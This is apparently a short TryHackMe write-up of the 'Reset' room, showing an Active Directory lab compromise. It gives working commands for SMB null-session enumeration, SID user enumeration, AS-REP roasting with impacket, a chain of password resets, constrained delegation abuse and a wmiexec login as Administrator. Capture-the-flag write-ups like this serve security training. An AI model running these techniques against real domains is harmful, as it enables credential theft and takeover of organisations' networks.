Reset —AD — Try-Hack-Me
This Room Is About Active Directory Compromising Abusing ASREP-Roasting, ACLs, Delegations.
Enumeration
Nmap
sudo nmap -Pn -T4 -sV -sC -p- -n -sS -oN full_nmap 10.64.181.82SMB — Null Session
Testing If there is a SMB Null Session to see if there is interesting shares.
smbclient -L \\\\\\\\10.64.181.62\\\\ -NI connected to the Data folder and i saw 3 files.
And After checking The PDF from the share i found the new username they are talking about.
But the username is not valid so i will build a list of users by the python tool called namesh.py
impacket-lookupsid anonymous@10.64.181.62 -no-passgrep "SidTypeUser" users.txt | cut -d '\\' -f2 | cut -d ' ' -f1 > newusers.txtExploitation
Once We have a valid usernames lets now try to perform ASREP-Roasting Attack on them.
impacket-GetNPUsers thm.corp/ -dc-ip 10.64.181.62 -usersfile newusers.txt -format john -outputfile crackme.txt -no-pass -requestLateral Movement
Now Lets use bloodhound
Now Everything is Clean The Work flow of the attack will be as below.
Get Farouk Abbas’s stories in your inbox
Join Medium for free to get updates from this writer.
It’s all about resetting passwords, it’s funny xD
1- TABATHA_BRITT Changes SHAWNA_BRAY Password
2- SHAWNA_BRAY Changes CRUZ_HALL Password
3- CRUZ_HALL Changes DARLA_WINTERS Password
4- DARLA_WINTERS Perform ****Constrained ****Delegation on The DC.
Leading to full control on the environment.
wmiexec.py THM.CORP/Administrator@HAYSTACK.THM.CORP -k -no-passDisclaimer
The content in this article is provided strictly for educational and informational purposes. All demonstrations, techniques, and examples are performed in controlled environments such as Capture the Flag (CTF) platforms, labs, or authorized challenges.
I do not encourage, condone, or promote the use of these methods for illegal, unethical, or unauthorized activities. Attempting to apply these techniques on systems without explicit permission is against the law and may result in severe consequences.
Readers are responsible for ensuring they comply with all applicable laws and regulations. The goal of these writeups is to share knowledge, improve security awareness, and foster learning within the cybersecurity community.








![[THM] -Brr — ScadaBR writeup](https://miro.medium.com/v2/resize:fit:1358/format:webp/1*guqO8YC1Jq1d5dhiY2iKGg.png)
![[THM] Kaboom — Writeup](https://miro.medium.com/v2/resize:fit:1358/format:webp/1*lCi9zk8eoN5IKWdgpyIcuQ.png)